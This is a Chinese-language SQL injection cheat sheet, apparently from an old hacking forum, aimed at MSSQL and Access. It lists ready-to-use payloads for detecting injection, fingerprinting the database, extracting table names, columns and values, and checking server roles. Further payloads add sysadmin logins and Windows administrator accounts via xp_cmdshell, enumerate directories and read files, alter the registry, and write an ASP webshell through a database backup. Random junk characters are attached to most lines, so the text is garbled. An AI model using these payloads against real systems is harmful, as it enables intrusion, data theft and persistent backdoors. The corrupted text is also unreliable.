1.判断是否有注入;and 1=1 ;and 1=2 k^k1>F}yx
2.初步判断是否是mssql ;and user>0 cY~lDLyB
O,J,Q|`H&
3.注入参数是字符'and [查询条件] and ''=' !g>mjD
N;m62N
4.搜索时没过滤参数的'and [查询条件] and '%25'=' OQuTM[W
H0.&~!,*
5.判断数据库系统 waV4~BdL
Xa>c]j
;and (select count(*) from sysobjects)>0 mssql ?PB}2*R
2V+[:>F
;and (select count(*) from msysobjects)>0 access CFY4PuI"!
)@.ODW;`
EJaO"9
(
jJ_6_8#
6.猜数据库 ;and (select Count(*) from [数据库名])>0 2b#>~
FEA/}*2F
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 9 &Od7Cn
k}{K7,DM
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 IifH=%2Y
rIH+X2x
9.(1)猜字段的ascii值(access) u/?;J1z:
<*{(>
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 C9T-4o1
Rmh,P >
(2)猜字段的ascii值(mssql) lCK:5$
z0
UFa 00t^5
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 kca Y
y {Mh ?H
10.测试权限结构(mssql) l)1ySX&BU
lGX_5R
@/?$ ZX/e[
Aa%ks+1
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- +)d7SWO6]!
zB{be_Tw
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- LZ~$=<
=CO#Q$
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- d4-cZw}+
#1f8A5<
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- r|7 hm:F)
noNL.%I
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- nF|m*_DW
=
P{]3K
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- j6)@kW9x
"PPn^{bYm
;and 1=(select IS_MEMBER('db_owner'));-- I#hzU8Cc
ma26|N5
v~>4c<eG
}vdhk0
11.添加mssql和系统的帐户 $X;fz)u
.W%{j()op
;exec master.dbo.sp_addlogin username;-- D(<20b,
;exec master.dbo.sp_password null,username,password;-- >U$,/_uMNW
E>?T<!r~j
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- }mw31=2bD
QFf lx
;exec master.dbo.xp_cmdshell 'net user username password #fYz367>
H\<C@OkJS}
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ~3 z10IG
kST
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1)M>vdrP
Si]8*>}-B
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- U(=cGA.$
PRCr7f
Re
b^w,
8ESBui3;
12.(1)遍历目录 l$Y7CIH
|nj%G<
;create table dirs(paths varchar(100), id int) E$rn^keM
&`63"^y
;insert dirs exec master.dbo.xp_dirtree 'c:\' |L7
`7!Z
c>r0N[
;and (select top 1 paths from dirs)>0 -U=bC
4jrY3gyBX
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ([ xYOxcp5
J%_
:A"
mY3x
(#I
nQvv'%v0
(2)遍历目录 W!z=AL{
-q\1Tlc]3
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3%xj-7z
W
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 >9|/sH@W
6P!M+PO
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 5o2;26c
?E2/
CM
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 #Gs] u
fXBA
P10#
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 \=4[v-3H
'zZN]P
&B7X LO[
h{kAsd8 G
13.mssql中的存储过程 s&!g )
Fmk,
"qs
xp_regenumvalues 注册表根键, 子键 Z@ *^4Ve
L*1C2EL/q
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 $AUC#<*C
N%:QaCZKw
xp_regread 根键,子键,键值名 /e6\F7
S=ebht=
;exec xp_regread Sim\+SL{#
Q'&oSPXSDd
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Y:oL
tD.md_E
xp_regwrite 根键,子键, 值名, 值类型, 值 <MI>>$seiJ
\;}F6g
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 o4,W!^n2
NB;8 e>8
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 } O8|_d
1p<m>s=D=e
xp_regdeletevalue 根键,子键,值名 9^<t0oY
k/?5Fs!#
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 YgCJ s;
dQQh$*IL?{
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 aRdzXq#x
&aqF||v%)
0{j]p^'<
+ZEj(fd9
14.mssql的backup创建webshell nc!P
!M
<<W{nSm#
use model K>Dn#"{Y
!jGe_xB}~
create table cmd(str image); 1~Zmc1]
R$IxR=hMx
insert into cmd(str) values (''); bf|s=,D
Pk !RgoWF
backup database model to disk='c:\l.asp'; 3,=97Si=
OaY.T
oOlqlv
;fw}<M!6
15.mssql内置函数 9AO`Zk{/Ez
?zGx]?1P1<
;and (select @@version)>0 获得Windows的版本号 ~v"4;A6
D^8]+2r
;and user_name()='dbo' 判断当前系统的连接用户是不是sa FD:3;nUY7
`>-fU<Q1
;and (select user_name())>0 爆当前系统的连接用户 tBC`(7E}
],#Xa.r
;and (select db_name())>0 得到当前连接的数据库 Is1P,`*!
P0VXHE1p
9.u}<m
_ p%=RIR
16.简洁的webshell R8|H*5T?+
Cw6\'p%l-\
use model pURtk-Fr2
D$@5$./
create table cmd(str image); >-U'mkIH
3-x ;_
insert into cmd(str) values (''); 9U~fc U6
m31l[e
backup database model to disk='g:\wwwtest\l.asp';